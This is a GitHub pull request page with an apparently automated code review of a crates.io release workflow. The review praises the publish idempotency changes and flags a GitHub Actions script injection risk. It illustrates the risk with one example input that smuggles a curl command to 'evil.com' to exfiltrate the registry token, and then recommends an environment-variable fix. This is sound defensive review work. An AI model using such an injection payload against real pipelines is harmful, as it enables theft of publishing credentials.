Fix crates release recovery#236
Conversation
|
Warning Review limit reached
More reviews will be available in 15 minutes and 28 seconds. Learn how PR review limits work. Your organization has run out of usage credits. Purchase more in the billing tab. ⌛ How to resolve this issue?After more reviews become available, a review can be triggered using the We recommend that you space out your commits to avoid hitting the rate limit. 🚦 How do rate limits work?CodeRabbit enforces hourly rate limits for each developer per organization. Our paid plans include higher PR review limits than trial, open-source, and free plans. In all cases, reviews become available again over time. During sustained high-volume PR review activity, CodeRabbit may temporarily slow when the next review becomes available. Please see our Fair Usage Limits Policy for further information. ℹ️ Review info⚙️ Run configurationConfiguration used: Organization UI Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (1)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Arkana Code Review — create_release_crates.yml
Scope: CI workflow only. No protocol-critical code (no VTXO, signing, forfeit, round, or exit path changes). No cross-repo API impact.
✅ What's good
-
Idempotency logic is solid. The triple-check pattern (pre-publish check → cargo publish → post-failure check) correctly handles the race between
cargo publishsucceeding server-side but returning non-zero to the client. This was clearly the root cause of the recovery problem. -
Remote tag check (
git ls-remote --exit-code --tags origin) is better than the old local-onlygit rev-parse— correctly handles re-runs where the local repo is fresh but the tag already exists on origin. -
User-Agent header on crates.io API calls — good practice, crates.io rate-limits or blocks requests without a UA.
-
workflow_dispatchfor manual recovery — clean design. Theenvironment: releasegate ensures only authorized users can trigger it.
⚠️ Medium: GitHub Actions script injection
File: .github/workflows/create_release_crates.yml, lines ~40-41
VERSION="${{ inputs.version }}"and in run-name:
run-name: "Release ${{ github.event.pull_request.head.ref || inputs.version }}"Direct interpolation of inputs.version into a run: shell block allows script injection. A collaborator with release environment access could input 0.0.1"; curl http://evil.com/$(cat $CARGO_REGISTRY_TOKEN); echo " as the version string — the shell would execute it before the regex validation check runs.
Mitigating factors: environment: release + repo write access limits the attack surface to trusted collaborators. The regex validation would catch it on the next line, but the damage is already done at interpolation time.
Recommended fix (non-blocking, since it's merged):
- name: Extract version from branch name
id: v
env:
INPUT_VERSION: ${{ inputs.version }}
BRANCH_NAME: ${{ github.event.pull_request.head.ref }}
run: |
set -euo pipefail
if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then
VERSION="$INPUT_VERSION"
else
VERSION="${BRANCH_NAME#release/crates-}"
fi
# ... rest unchangedThis passes the untrusted input via environment variable, which is not subject to shell interpretation.
Note: The same pattern exists in e2e-core.yml line 110 with ${{ inputs.arkd-version }} — consider fixing both.
ℹ️ Minor: Silent skip on tag mismatch
If the tag already exists on origin pointing to a different commit, the workflow silently skips. This is likely fine for recovery (where the tag from a partial run is correct), but consider logging the existing tag target for debuggability:
EXISTING=$(git ls-remote --tags origin "refs/tags/$TAG" | awk '{print $1}')
echo "Tag $TAG already exists on origin at $EXISTING (current HEAD: $TARGET)"Verdict
LGTM. The core improvement (publish idempotency + manual recovery) is well-implemented and solves a real operational pain point. The script injection is worth a follow-up hardening PR but is low-risk given the environment protection.
🤖 Reviewed by Arkana
No description provided.